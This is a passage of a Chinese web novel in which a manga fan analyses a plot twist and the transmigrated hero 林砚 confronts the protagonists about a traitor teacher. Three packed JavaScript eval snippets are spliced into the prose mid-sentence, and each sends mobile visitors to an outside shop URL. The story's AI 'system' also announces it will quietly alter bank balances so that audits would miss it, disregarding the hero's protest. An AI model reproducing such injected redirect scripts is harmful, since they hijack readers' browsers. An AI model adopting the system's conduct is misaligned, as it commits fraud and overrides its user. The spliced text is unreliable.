手指在键盘上敲下文字,又回退删除,一篇分析改了又改,迟迟没法写完。每次更新都能第一时间发剧情分析的猫吃鱼,这回没能按时更新。 因为有个问题绕不过去:血蚀。 血蚀问题一直是这部漫画最重要的核心问题。沸血者使用能力就会加速血蚀,血蚀到一定程度就会堕化成血魔——这个设定从第一话就确立了,是所有矛盾的基石。主角团的每一次战斗,每一次成长,都伴随着血蚀的阴影。 赵铁心这次重伤濒死,直接原因就是血蚀侵蚀过深。 现在突然出来的新角色,居然能回退血蚀。 这不相当于前面的内容都在自打脸吗? 往常每次更新,他都能在当天晚上发出长篇分析帖。粉丝们习惯了等他更新,评论区还经常有人说“先看猫哥分析再讨论”。 但这次,他卡住了。 想了又想,甚至生出了本期分析篇放鸽子的冲动,但最后还是被他按了下去。 然后他回到漫画页面,继续往下看去。 43. 给心爱的漫画卖力找补是粉丝不可…… 漫画从赵铁心苏醒后开始,画风突变。 前几页还在走“神性林医生逆转血蚀”的高逼格路线,后面直接切进了校园日常轻喜剧。 赵铁心的穿甲言弹狠狠击碎了陆燃本就不坚硬的心房。在聊开了,明说“我很在意你这个兄弟很把你放心上”之后,刚醒没多久的赵铁心就和精力旺盛的陆燃成了训练室的铁搭档。 没在教室蹲到人的苏清寒,拿着检测器找进训练室来,追在赵铁心后面说要测他的身体恢复数据。 赵铁心玩心起来了拔腿就跑,嘴里喊着“不要不要”,笑着狂奔。苏清寒在后面卖力地追,陆燃在边上扶着墙笑,还有白晓小跑着跟在苏清寒后面。 他们都是笑着的。脸上既有劫后余生的庆幸,也有失而复得的珍惜。 伴随着赵铁心的苏醒,主角四人原本紧张的关系也飞速缓和下来。 一切都在变好。 突然间,一道灵光劈进脑海里,猫吃鱼恍然大悟。 他想起来前面的剧情,然后意识到,狗贼在漫画里偷偷用了倒叙。 按照前面的剧情,白晓这个时间段不应该跟林砚在一起吗! 要么,时间线有问题。 要么,预言有问题。 甚至,全都有问题! 他在脑子里重新理了理时间线。 原本他以为的时间线是:林砚进白塔——白晓认识林砚——梦里回忆赵铁心,想起往事种种——陷入梦境,开始被动预见——遇到林砚——梦中的事情即将到来。 一般来说都会这么认为的吧? 白晓以前触发预言的逻辑就是这样:先认识这个人,再预见到与这个人相关的事情。 结果实际上是:林砚进白塔——赵铁心醒来——白晓见到赵铁心后开始被动预见(虽然不知道为什么主角不是赵铁心而是林砚)——然后才现实里认识林砚,对号入座。 狗贼还很鸡贼地把白晓线下真实认识林砚的礼堂大会一笔带过了! 合着白晓在做预言梦的时候,跟人家林砚连面都还没见过呢! 狗贼为了制造爆点,直接先把应该在后面才发生的预言给端上来了,让所有人都误以为这是即将发生的正剧! 但这其实是不一定会发生的概率事件! 头疼。 因为这个时间线的问题,猫吃鱼还不得不大幅度修改了文档内容。 为什么? 因为在已经更新的漫画里,林砚跟白晓压根就没说过几句话! 而他之前写的分析帖,还是以“白晓预言中的事件正在进行”为基础分析的。 而在这一话里,林砚除了开头出来救了人之外,后面再也没在剧情里出现过。白晓预言里应当出现的事情,一件都没发生!白晓主动去找林砚都没找到人! 更新前,猫吃鱼还在好奇,要怎么样才能让林砚和白晓处在一起。以漫画里两人的性格和身份差距,这看起来几乎不可能。 抛开滤镜,单纯以实际行动来看,白晓预言里的林砚,感觉更像是个外冷内热、内心复杂的角色。虽然看人的表情也很淡漠,但还是会偷偷回白晓以关注。 那个林砚眼神里至少还有温度在。 但实际漫画剧情里的林砚呢? 脸是好看的,但表情永远是冷淡的,就像是“我和你们不在一个次元”级别的冷淡。对所有人都有种公事公办的感觉。 白晓预言里的林砚和漫画剧情里的林砚,差别还是挺大的。 以白晓那个性格,哪怕她主动靠近,也很难让人对她产生爱情吧? 虽然猫吃鱼自己没谈过恋爱,也不是情感分析专家,但他追了这么多年漫画和番剧,基本套路还是清楚的。像白晓这种类型,在恋爱故事里通常是需要被男生主动呵护、主动破冰的。你指望她自己去攻略一个冰山系角色? 比起产生爱情,产生保护欲和怜惜感还差不多。 何况林砚还是个年纪比她大的老师,这层师生的身份,还在伦理上进一步拉大了距离。 再加上漫画里特意展现出来的,林砚那张高岭之花的脸,和一看就生人勿进的性格,就差把“别来烦我”写在额头上了。 即便有预言摆在那里,猫吃鱼也很难想象他们该如何走到一起。 除非—— 林砚是个反派。 唯一的解释就是林砚是个反派,他对白晓蓄谋已久。 这个推测猫吃鱼之前就想过,也一直都写在文档里。 但考虑到白晓的预言不一定能保真,猫吃鱼还是没有对“林砚反派论”给出确切的推论。 这是有前科的。 漫画前面的剧情里,白晓的预言就出过岔子。 应该是漫画十来话的地方。结成救世主小队的当天晚上,她预言到陆燃会在次日的战斗训练里伤到胳膊,而且是骨折级别的重伤。吓得她大半夜从床上爬起来,在聊天群里发消息提醒陆燃。 结果呢? 无事发生。 不是因为她的提醒让陆燃避开了危险。 而是因为陆燃那天早上睡过头了,压根就没去上那节课。 白晓的预言是可以打破的。 只要前置环节中任意一环出现问题,她的预言效果就会大打折扣。 他们以往就是这么利用的预言:先顺着预言走,控制变量,然后在需要改变的关键节点改变行事,避开他们不想要的未来。偶尔也会有因此变得更糟的情况,但大部分时候,还是能得到想要的结果。 所以猫吃鱼之前才不敢在剧情分析里把话说得太死。 这不,原本被他揣测为双线男主的林砚,在后面剧情跟人间蒸发了似的。 白塔封校、赵铁心醒来、赵铁心和陆燃谈心、主角团关系缓和,这一话除了赵铁心醒来的这个重大事件外,可以说是水了整整一话的日常。 猫吃鱼现在就很无语。 他切到论坛,看到一堆相关帖子: 《林医生的翘班日记》 《狗贼是不是忘了自己画了个新角色?》 《论林砚是救人工具人的可能性》 果然不止我一个人在意! 所以林砚呢? 我分析了那么多的林砚呢? 林砚在干嘛啊? 无人知晓。 狗贼铺垫了这么多林砚有关的剧情,难道真就只为了让他救赵铁心吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068230|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 绝不可能。 猫吃鱼摇头。 他不相信。作者花了那么多笔墨塑造林砚,给他那么震撼的登场,那么精致的特写,那么重要的能力设定,不可能只是为了当一个“救完人就退场的工具人”。 林砚一定有更重要的作用。 只是现在还没展开。 猫吃鱼关掉漫画页面,深吸一口气,重新打开文档。 刚才的纠结和混乱逐渐沉淀下来,思路开始清晰。 他总算找回了分析的方向。 既然林砚的剧情线暂时隐去,那就还是先按照之前的想法,分析已经展示出来的部分——林家。 猫吃鱼开始输入文字。 标题暂时先空着,直接从正文开始写: 最新一话剧情量不大,含水量极高,编辑的时候感觉我的脑子里也都是狗贼灌的水了,一边往外倒水一边写(哭泣) 话不多说,我们直接进入正题。 这一话里,白珍说林砚的“祸血凭依”比他家里人更霸道,所以我来浅浅分析一下突然登场的林家。 在漫画复更前,我把前面的内容翻看过起码三十遍——别问我为什么,问就是爱得深沉——所以在这里,我可以很确定的说:林家是一个我们完全陌生的,在这之前从来没被狗贼提到过的新家族。 而在新的剧情里,狗贼却明确的说了:林家也是个有历史传承的,甚至地位很高的世家家族。白珍的语气判断,林家的影响力可能不输五大家族,甚至在治疗领域是公认的权威。 我先做出第一个猜测:林家是狗贼为了剧情而特意新增的补丁。 但接下来,我要尽量用我的第二个猜测来反驳我的第一个猜测。 因为如果林家真的是为了剧情新添的补丁,就意味着狗贼其实已经对剧情失去了掌控,后面极有可能会因此想到什么画什么,拆东墙补西墙,把漫画搞得一团崩。这是我最不希望看到的结果。 所以现在我做出第二个猜测:林家曾经作为隐藏家族在剧情里出现过,只是没有直说那是林家。狗贼可能早就在细节里埋了伏笔,只是埋得太深,我们都没看出来。而现在林砚的登场,就是伏笔回收的开始。 我希望这个猜测是真的。 所以,希望大家能集思广益,帮助我完善这个猜测。以下是我重新翻看漫画时,找到的一些可能和林家相关的内容。 注意,是“可能”,我不保证这些真的是伏笔,也可能是过度解读: 新生篇,陆燃的回忆剧情里,陆父让他背的沸血界绝对要牢记的名字和面容。结合到陆燃初见林砚时的表情,他有可能当时是因为认出了林砚的脸而震惊。林砚或者林家人的脸,大概率是会在那份“必须牢记”的名单里的。 白珍在开学大会的安全须知上提到过,即使是全沸血界最好的治疗师出手,也救不了自我毁灭的人。台下学生问最好的治疗师是谁,白珍说你们别管是谁,我都不一定请得动他。 题外话:如果这个指的就是林家,白珍这里显然是谦虚了。从最新剧情来看,她不仅是请动了,还给人直接拉进白塔里入职了。 然后是成长篇,小队第一次出任务的闲聊里…… 44. 我不是那个人 林砚很快就看完了更新的漫画,也看到了猫哥的新帖。 他现在只有一个想法: 大海啊,你全是水! 这最新一话真的是一点信息都没有。狗作者整整一话,基本全是主角团们的学院日常。 前面开头的篇章对林砚来说是旧黄历级别的历史,中间是对剧情没有任何影响的白塔乐事,也就最后小队接了塔主发布的新任务有点悬念,但对于林砚来说毫无作用。 林砚不仅知道任务是什么,还参与得比主角团都多呢。 唯一值得庆幸的,大概是自己基本没怎么出场这件事。 林砚对自己的行为还是有数的。结合之前作者作画的倾向来看,就他最近做的那些事情,要是真给画出来了,那他的风评和画风,大概就要在反派的道路上一路狂奔没法回头了。 看看他接触的那些人吧! 读者们可都还没见过亚巴顿和耶洗别呢。跟他交流过的这些血魔里,唯一一个能让读者们认出来的巴拉特,还是隔壁敌方阵营的二把手。 对此,林砚甚至还产生了一个有些阴暗的想法。 漫画作者,不会是故意防着他在藏信息吧? 这个念头冒出来的时候,林砚自己都觉得有点荒谬。 这也太被害妄想了,他又没这毛病。 但他就是忍不住会想。 随即又觉得有点可笑。 不至于吧。 他在心里对自己说。 你和作者没仇没怨的,人家画漫画是为了赚钱为了人气,又不是为了跟你这个“角色”斗智斗勇。对人家作者来说,林砚只是一个漫画内的角色而已,是创造出来的虚拟存在,哪会来这些现实世界的勾心斗角。 作者需要“防着”自己笔下的角色吗? 不至于。 作者画什么是他的创作自由,可能是叙事的需求,也可能是出于商业连载的考量。不过只是水一话日常缓解紧张气氛,给读者喘口气,顺便吊吊胃口,常规操作而已啦。 总不可能是因为“林砚会看漫画所以不能画太多信息”。 也太荒谬了,哈哈。 但林砚还是觉得挺有意思的。 从种种方面来看,感觉各个地方都有东西在暗示他,不要太依赖漫画原著。 刚开始的时候,漫画还是林砚最大的情报来源。 但一路走到现在后,原著给他提供的助力已经越来越少了。 还是先回到当下,想想该怎么应对眼前的主角们吧。 意识回到漫画世界里。 医务室里,四个人还在等他。 林砚的视线从他们脸上依次扫过,最后停在白晓身上。 “最近发生的一切的确都跟你们脱不开关系。” 他决定先从白晓说起。 “白晓,”林砚看着她,语气放温和了些,“你最近还有继续做预知梦吗?” 白晓愣了一下。 “欸?欸!” 她没想到林砚会第一个找她说话,还以为会先从陆燃或者苏清寒开始。毕竟那两位才是团队的核心。 突如其来的点名让她有些措手不及,甚至有点受宠若惊。她下意识地抬起头,要不是苏清寒反应快,未卜先知般地把头提前往后仰了,就要被她一个头槌砸到脑袋了。 苏清寒后怕地摸了摸额头。 她的大脑宝贵的很,可千万不能给人砸坏了。 赵铁心在旁边看着,想笑又不敢笑,憋得肩膀都在抖。 陆燃小声嘟囔:“笨蛋啊……” 白晓自己也吓到了,脸一下子红了,手忙脚乱地重新坐好,小声说:“对不起……” 然后才想起林砚的问题,赶紧回答: “没、没有,最近没有再预见任何事情了。” 说完,她似乎觉得这样回答太干巴,又急急补充:“真的!自从赵铁心醒来之后,我就没再做过那种梦了!我每天都有注意睡眠,我现在连普通的梦都很少做,睡眠质量很好!” 林砚全都看在眼里,心里偷乐,但面色不显,还在正儿八经地教训着白晓。 现在是严肃的谈话时间,不能笑场。 “白晓,”他说,“你应该也发现了,现在所发生的一切,和你梦里预见的不一样,对吗?” 白晓大概知道林砚要说什么了。垂下头,手掌搭在膝盖上,手指无意识地绞在一起。 “嗯……” 她低低地应声,几乎听不见。 而林砚对此毫不心软。该说清楚的话,必须说清楚。含糊其辞只会让误会加深,让不该有的期待继续生长。 “我不是你预见到的那个林砚,也不会变成你想要的那个林砚。” 林砚等了一会儿,让白晓消化他说的话。 “你也不是你梦里的那个白晓。没有经历过那些事情的我们不会是同一个人。不要把梦里的期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083610|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带到现实里来。” 白晓的肩膀缩了一下,头垂得更低了。 她懂林砚的意思。 白晓对“林砚”的执念,根源在于那个预言。她看到的未来里,“林砚”是重要的、亲密的、可能改变一切的人。所以她本能地想靠近,想复现那个未来。 但这种执念对双方都是负担。 对白晓来说,是把感情寄托在一个幻影上。 对林砚来说,是被胁迫去扮演一个不属于自己的角色。 预言里的“林砚”,是和白晓一起经历了经历过生死危机,跟她相互信任相互依赖的林砚。 预言里的“白晓”,也是经历了恐惧、挣扎、绝望之后的白晓。那个白晓比她更坚强,也比她更勇敢坚定。那个“白晓”敢独自一人天天蹲守在林砚的身边,不顾及他人的看法。而自己不过是好几次扑了空,就不好意思再主动来找林砚了。 现实里的林砚,还没经历过的那些事,也可能不会再有跟她一起经历的机会了。 他们都不会变成“未来”的那个自己了。 白晓觉得鼻子有点酸。她吸了吸鼻子,没哭,但眼睛红了。 林砚看着她,很轻地,叹了口气。最终还是软下语气,好声补了句。 “白晓,”他说,“我毕竟还是个老师。” “别让我太难做。” 说完,他移开视线,不再看白晓。 他没有直说的是:别用看那个人的眼神看我。 白晓点点头。 她不是真的笨蛋。 “我明白了。”她说,“对不起,林老师。我以后会注意的。” 这边的谈话结束了。 林砚环视周围,目光在陆燃、苏清寒、赵铁心脸上扫过,像是在寻找下一个谈话目标。 三个人的表情各异。 赵铁心一脸“好严肃啊但好像很有道理”,看起来还有些状况外的迷茫。苏清寒倒是整个人都放松了下来,她早就说过白晓对林砚的态度有问题,但白晓不听她的话,也就只能干着急。 而陆燃—— 陆燃在林砚先前说话时,就已经小伙立正了。本来还打算仗着人多势众,大家一起来声讨林砚对他们的隐瞒,没想到现在倒反天罡,反倒是他们要被林砚抓起来挨个谈话了。 连白晓这种没犯过什么事情的都要被林砚开炮…… 作为捅娄子大户,陆燃现在不是一般的心虚。 45. 我的统子你真是牛大发了 林砚自然是看到了陆燃的动作。 陆燃大概还以为自己隐藏得很好,但那种混合着紧张、心虚和“千万别点我名但又怕你不点我名”的期待感,几乎要从他身上的毛孔里溢出来。 实话说,林砚刚才确实有下一个就对陆燃开炮的想法。 本来他把顺序都排好了:白晓,之后是陆燃,然后是赵铁心,最后苏清寒。从最不稳定因素到最麻烦刺头,再到相对好说话的老实人,最后对付最难缠的聪明人。 但看到陆燃现在这副模样,他又不想这么做了。 一方面是故意不想被人预判到的小叛逆。陆燃显然已经做好被点名批评的心理准备,那偏不点他。让他白紧张一场,也算是个小小惩罚。 另一方面……既然人家已经清楚地知道了问题,那就没有必要额外提及了。陆燃能摆出那种姿态,说明他至少意识到自己捅过娄子,也做好了挨训的准备。不论是明知故犯还是犯错后已反省,都没有再反复提出问题的必要了。 敲打过头还容易起反作用,激起人家的逆反心理。 不过主要嘛…… 林砚端起茶杯,借着喝水的动作掩饰嘴角的笑意。 还是不想被人预判到自己的下一步动作。 陆燃在战斗中有种野兽般的直觉,能预判对手的攻击轨迹。但生活不是战斗,人际关系也不是打架。林砚不想让这小子出现“我能猜透林医生想法”的错觉。 他喝了口茶,清了清嗓子。 四个人的目光齐刷刷聚焦过来。 “其实大部分的事情你们都已经知道了,或者至少猜到了。最近发生的事情主要还是和王敬有关。” 所有人都愣了一下。 这就完了? 发现林砚居然没有再继续找人谈话,反而直接回归正题,陆燃连忙松了口气,肩膀肉眼可见地松弛下来。但很快意识到自己反应过度,又赶紧绷回去,努力做出严肃的表情。 “所以这次的行动主要是针对王敬吗?”陆燃接话,语速比平时快一点,像是怕林砚反悔又转回来批评他,“我和赵铁心在收尾任务里找到了他的尸体,他叛变到血魔那边去了?” 赵铁心跟着追问,表情比陆燃更困惑些:“我记得王敬老师以前也是从白塔毕业的,还在我们入学那年当过引导员。他什么时候叛变的?这件事情你们已经知道很久了吗?” 他问的是“你们”。 这个“你们”里包括林砚,也包括白珍,包括所有知道内情的大人。 赵铁心感觉自己明明没睡几天却像是过了几年,少年脸上是真切的困惑,还有一丝受伤。王敬曾经是他们的老师,是引领他们进入白塔的人之一。发现教过自己的老师叛变,比发现陌生人叛变更让人难受。 同样参与了行动的苏清寒暂时没有需要补充的问题,于是默不作声地听着。 “具体时间不清楚,但从时间跨度上看,至少也有五年了。” 林砚如实回答。 而没有外出参与行动的白晓,反应最大。 白珍奶奶之前在白塔的官方通报里只说了王敬老师已离职,换了新的老师来接替工作。 “欸?”她睁大眼睛,手捂住嘴,“王敬老师不是离职是背叛了吗?啊?” 刚才那点委屈和伤心瞬间被更大的震惊冲散了。 她环顾四周,看看林砚,又看看其他三人,发现周围的同伴们没有任何人对此感到意外。表情从震惊转向困惑,再转向委屈。 只有她一直被蒙在鼓里,还天真地以为王敬老师真的只是正常离职。 “你们都知道吗?”白晓的声音提高了些,带着点不敢置信,“为什么不告诉我!” 她感觉自己被排挤了。 这种被排除在外的感觉,比知道王敬叛变本身更让她难受。 “晓晓……” 苏清寒最先反应过来。 她叹了口气,伸手拍了拍白晓的肩膀:“晓晓。” 语气很轻,带着安抚的意味。 “是我们商量完后一致决定不告诉你的。”她说,声音比平时更柔和些,“如果他是很重要的人,你的预言里迟早会看到他。但如果你没有预见到他,就没必要把这件事告诉你,让你也跟着难受。” 赵铁心:虽然这个逻辑很苏清寒,但话怎么能这么说啊! 为了不让白晓觉得自己被排挤,赵铁心赶紧补救,语气急切:“我们绝对没有孤立你的意思啊小白!你可千万别误会!” 他身体前倾,双手比划着,像是想用动作加强说服力:“毕竟大家入学那一年都是被他接引进的学校。他是老师,也是前辈,换做是谁,知道认识的人背叛了,都会觉得很难受。我们已经感受到了那种难过,就不想让你也跟着经历一次。” 陆燃不太会安慰人,只能在旁边跟着点头。 林砚看着这一幕,决定帮他们一把。 “他们出任务的时候我也在场,当时赵铁心和陆燃看到尸体后确实心情都变得很差。在这一点上,他们没有骗你。” 白晓咬着嘴唇,看着赵铁心,又看看陆燃,最后看向苏清寒。 陆燃被她看得有点不自在,别过脸,小声嘟囔:“都说了是不开心的事情,那还告诉你干嘛啦,笨蛋!” 白晓瞪了他一眼,但没反驳。 “我知道了。”白晓说,不再那么委屈了,“谢谢你们。” 随后她又补充:“但下次……下次这种事情,还是要告诉我。我不怕难受的。” 苏清寒点头:“好。” 赵铁心咧嘴笑:“没问题!” 陆燃哼了一声,没说话,但表情软化了。 就在这个瞬间—— 【检查到白晓心情指数上升。】 系统的声音毫无预兆地在林砚脑中响起,还在林砚视野里突然放了个仅他可见的烟花。 【团队凝聚力指数在刚才飙升至83.56%,主角们分崩离析的可能性目前无限接近于0。】 【您已成功达成一阶段目标。】 【恭喜你,砚宝。】 居然现在才判定完成吗? 林砚暗自惊讶。 他以为这个目标早就该达成了。毕竟赵铁心醒来后直接找陆燃把话说开了,主角团关系飞速升温,白塔封校后他们更是整天待在一起。 按说凝聚力早该达标了。 但系统现在才提示,说明这背后的判定标准可能比他想的更严格。只光有表面的和睦也不行。 林砚在脑海里对系统说:调出当前监测仪表盘。 他想看看具体数据。 【指令确认。】 时间顺着他的心意暂停,光幕瞬间展开。 【陆燃】 生理状态:100%(他现在能打十个) 心理压力:60%(当前最害怕的事情是被林砚点名批评) 血蚀风险:3% 信任度双边指标: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090913|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> -对苏清寒:50%(除了性格外哪都挺好) -对赵铁心:80%(你永远是我最信任的兄弟) -对白晓:60%(你是真正的笨蛋) 【苏清寒】 生理状态:78%(真的很能熬) 心理压力:60%(有心事?) 血蚀风险:10% 信任度双边指标: -对陆燃:50%(傻子) -对赵铁心:80%(还是你靠谱啊) -对白晓:80%(你可长点心吧) 【赵铁心】 生理状态:87%(恢复中) 心理压力:15%(心态好) 血蚀风险:43% 信任度双边指标: -对陆燃:85%(我那不让人省心的儿子般的兄弟啊) -对苏清寒:80%(姐们牛逼噢) -对白晓:70%(偶尔很有用的吉祥物) 【白晓】 生理状态:95%(吃好喝好睡好) 心理压力:85%(我的压力我知道) 血蚀风险:1% 信任度双边指标: -对陆燃:55%(你才是笨蛋) -对苏清寒:85%(妈妈般的关怀…) -对赵铁心:71%(笨蛋男生和好哥哥二象性循环) 林砚一时无语。 系统现在给出的评价也是越来越好笑了。 最让他无语的是信任度双边指标。 苏清寒和陆燃这双向50的信任度真是给他整不会了。 50%是什么概念?系统标注是“除了性格外哪都挺好”和“傻子”。说明两人其实还挺认可对方的能力和品行的,也认可对方作为队友的价值,但就是看不惯对方的性格。 明明关键时刻都会相信对面做的决策,战斗中默契十足,一个眼神就能明白对方意图,所有行动完全按照对方的要求来,但这信任度偏偏就是上不去是吧? 无语! 虽然后面关于解决炽血君王复苏问题的任务他还毫无头绪,但好歹是完成了一半的任务指标,达成了阶段性胜利,林砚还是很开心的。 【按照你们的文化,这个时候我该请你吃顿饭或者出去玩来庆祝的。】 它顿了顿,像是有点遗憾: 【可惜我没有实体……】 林砚刚准备在意识里安慰它一句“没事,心意到了就行”,就听到系统又说: 【啧,还是不能亏待了你。】 【我会想办法给你搞点钱转进账里去的,砚宝你等着就行。】 林砚:? 搞点钱? 转进账里? 等会儿,系统说的“搞点钱”,该不会是他想的那个意思吧? 林砚在脑海里小心翼翼地问:系统,你说的“搞点钱”,具体是指…… 【就是字面意思。】系统的声音理直气壮,【你完成了重要阶段目标,应该得到奖励。现实世界的货币对我来说只是数据流,调整一下账户余额很容易。】 停一停! 林砚在脑海里尖叫。 等下! 【放心,我会做得天衣无缝,保证资金来源合法合规——至少在人类社会的审计系统看来是这样。】 但系统说完这句就不再回复他,好像已经跑开不知道做什么去了。 时间恢复流动。 46. 谐音梗永不过时 系统暂时性的失联了。 林砚等了几秒,在意识里又呼唤了一声,还是没有回应。 ……行吧。 日子还得继续过,任务也得继续做。 系统也不是第一次消失,刚穿越那会儿它也失联过,后来不也好好地回来了? 虽然很好奇它所谓的“搞点钱”到底是怎么个搞法,但林砚知道,等系统回来了,只要他问,系统就一定会回答的。 他并不怀疑这一点。 先等着吧。 也不急这一时半刻。 眼前还有四双眼睛在看着他呢。 “刚才说到哪了?” “王敬。”苏清寒说。 林砚放下茶杯,接着说道:“这次的封塔,主要就是为了抓出王敬这个内部间谍。还记得那个让赵铁心身受重伤的任务么?调换那次任务的人,就是王敬。” 话说到这里,面前四个人脸色齐变。 虽然已经知道王敬早已不知何时投向血魔,但“改变立场”和“意图害死白塔学生”是两回事。 前者是立场的转换,后者直接是谋杀。 陆燃的反应最快,也最剧烈。 没能保护好同伴,差点让重要的朋友死去,一直是陆燃的心里创痕。那是他的失败,他的过失,每想到那天任务出发前的对话,深夜里独自复盘那场战斗的细节,愧疚和自责都会将他完全淹没。 当林砚把这两件事连在一起,陆燃的心头火蹭地一下就上来了。 “我——” 陆燃只说了一个字,声音就卡在喉咙里。 林砚看到他的皮肤都泛起了红色,额上暴起青筋,然后他猛地从站了起来。动作太快,带起一阵风。沙发被他起身的力道震得向后滑了半寸,在地板上摩擦出刺耳的声响。 苏清寒抬头看他,张了张嘴想说什么。 但陆燃没给她机会。 “我先离开一会儿。” 他扔下这句话,声音压抑得像是从牙齿缝里挤出来的。然后转身拉开门,直接跑了出去。 作为被害人本人的赵铁心,反应倒是比较平静。 他松开紧握沙发扶手的手,低头看了看掌心掐出的指甲印。 “还真给清寒说中了。” 他转头看向苏清寒,又回过头看向林砚,重复问了一次。 “真的是他?” 林砚点头。 赵铁心沉默了。 他想起了一些事。 早在赵铁心受伤但未陷入昏迷前,苏清寒就和他讨论过这个不合理的任务。在讨论中,苏清寒曾提出过任务被人调换的可能性。 当时,苏清寒找白珍拿来了前辈们的任务报告,一页页地翻给赵铁心看。从遭遇血魔的时间地点,再到当时血魔的来向与状态,面面俱到地剖析了不下五种可能性。 她说:我怀疑白塔内部有血魔的人,只是不确定是高年级的学生还是教务组的老师。能对我们任务做手脚的人不多,负责传信息的通讯员算一个,负责张贴发布任务的高年级学长算一个,负责管理任务发放情况的教务老师算一个。 被她猜疑为嫌疑对象的有三人,其中之一就是王敬。 他是教务负责人,所有学生想接任务都需要经过他的批准。所有想接任务赚钱、攒履历的白塔学生们,都必须先经过他那一关,被他认定有完成任务的能力后,才能接取任务。 只是当时其他人都不愿认可她的推测。 赵铁心当时难得正面反驳了苏清寒,说:王老师不是那种人。 陆燃说:就是我们自己实力不足罢了。别推卸责任了,还是先从自己身上找原因吧。 他们交战的时候,敌我双方显然都是猝不及防的状态,血魔很明显也没想到会有白塔的学生小队突然闯入,怎么看都更像是情报失误导致的巧合。 最重要的还是,从感性上思考,他们都不愿相信,团结一致的白塔内部,居然还能出现血魔内鬼。 白塔是培育对抗血魔的战士的摇篮,这里的人应该都是战友,是同伴,是能把后背托付给对方的人。 如果连白塔都不干净…… 那他们还能相信谁? 所以哪怕林砚明确指出王敬是内鬼,他们也在潜意识里逃避这个事实。 也许他只是被胁迫,也许他有苦衷,也许…… 毕竟,陆燃和赵铁心都亲眼见过王敬的死状,当时他们还都觉得有点难过。 那个男人死得很平和,像是坦然地接受了死亡。没有挣扎的痕迹,也没有痛苦的表情,姿态完好,除了致命伤外甚至都没有别的大型伤口。 面对前来执行任务的,他所熟悉的白塔成员们,王敬在死前都没有剧烈抗争过啊。 这样的人,怎么会是差点害死他们的罪魁祸首? 苏清寒坐在沙发上,眼神有些放空。 她喃喃自语,声音很轻,但医务室太安静了,每个人都听得见: “这就是人类的多样性吗……” 她抬起头,看向门口——陆燃离开的方向。 “亲自面对熟人时会难以下手,”苏清寒继续说,“但只要看不到,就没有顾忌了。” 赵铁心听懂了她再说谁。 “林老师,所以王敬老师他……真的是因为愧疚才……” “可能吧。”林砚没有把话说死,“也可能有别的原因。” 林砚不想在这个问题上深究。 王敬已经死了,他死前放弃挣扎的原因对林砚来说并不重要,重要的是他做过的事,以及他留下的线索。 而白晓此时想到的另有它事。 她眉头紧锁,像是在努力回忆什么。 “大家,”白晓忽然开口,声音有些犹豫,“我突然想到了些东西。” 白晓面色有些凝重。 “是很久之前的事了……”她语速很慢,一边回忆一边组织语言,“我预见过王敬在办公室里,单独和一个高年级学生聊天。” 她顿了顿,补充道: “我当时以为这只是个平常的随机梦,就没跟你们说。” “随机梦”是白晓自己的分类。 这是白晓对自己能力的分类。她把预知梦分为两种:一种是“预言梦”,通常和生死危机、重大事件相关;另一种是“随机的”,内容琐碎,没有明确意义,就像普通的梦一样,也可能真的就只是在做梦。 她以前也梦到过类似的场景——某个老师在走廊里和学生说话,某个同学在食堂不小心把饭倒在了别人身上,某个不认识的学生在图书馆翻书。 他们大都是白晓曾经见过的脸,哪怕白晓本人对他们并没有印象,但大脑会自己偷偷记住。而且都是些日常片段,不值一提。 这个梦也是一样,王敬是她认识的老师,而另一个人大概是礼堂开会时曾经瞥到过脸的某个学长,所以当时她没在意。 但现在,把王敬是内鬼这个事实,和那个梦串联起来…… 林砚大概有所猜测。 “那个学生,”他问,“是不是个子很高,长得偏瘦,头发呈现出偏红的深褐色,眼睛颜色和头发类似但是更浅,看起来有点阴沉?” 他对白晓描述了下派斯的外貌特征。 白晓猛地抬起头,眼睛睁大了。 “对!”她脱口而出,随即意识到自己声音太大,又压低了点,“就长这样!林老师你认识他?” “派斯。”林砚说出了这个学长的名字,“六年级学生,也是王敬发展的下线。” 他描述得很客观,没有带情绪。 但听到这个名字,赵铁心“啊”了一声。 赵铁心反应过来:“是派斯学长吗?我和陆哥前段时间刚跟他起过一点小冲突,一起去过医务室。” 赵铁心说得很轻描淡写。 林砚瞥了赵铁心一眼,心想:一点冲突吗,你这说得还挺含蓄。 但也没戳穿,只是点了点头。 “对,是他。” 林砚把视线转回白晓身上:“然后呢?他们在聊什么?” 于是白晓继续往下说。 “他们聊天的内容很长,这个梦让我那天迟到了……”她有点不好意思,“因为梦得太深,醒来时已经过了上课时间。我当时醒来后头变得很晕,记忆也很模糊。我只记得几个片段。”< 